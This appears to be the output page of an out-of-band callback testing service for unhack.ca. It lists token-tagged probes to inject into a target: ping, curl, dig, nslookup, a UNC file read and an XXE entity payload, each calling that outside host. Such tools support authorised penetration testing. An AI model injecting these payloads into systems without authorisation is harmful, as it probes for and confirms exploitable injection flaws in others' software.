$ ping -c1 -p 0097edfd791b21d70267a922d9d8f600 unhack.ca
$ curl http://unhack.ca/p/97edfd791b21d70267a922d9d8f6
$ dig 97edfd791b21d70267a922d9d8f6 @unhack.ca
$ dig 97edfd791b21d70267a922d9d8f6.ns.unhack.ca
C:\> nslookup 97edfd791b21d70267a922d9d8f6 unhack.ca
C:\> type \\unhack.ca\97edfd791b21d70267a922d9d8f6\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/97edfd791b21d70267a922d9d8f6">]>
<foo>&xxe;</foo>
Waiting for ping...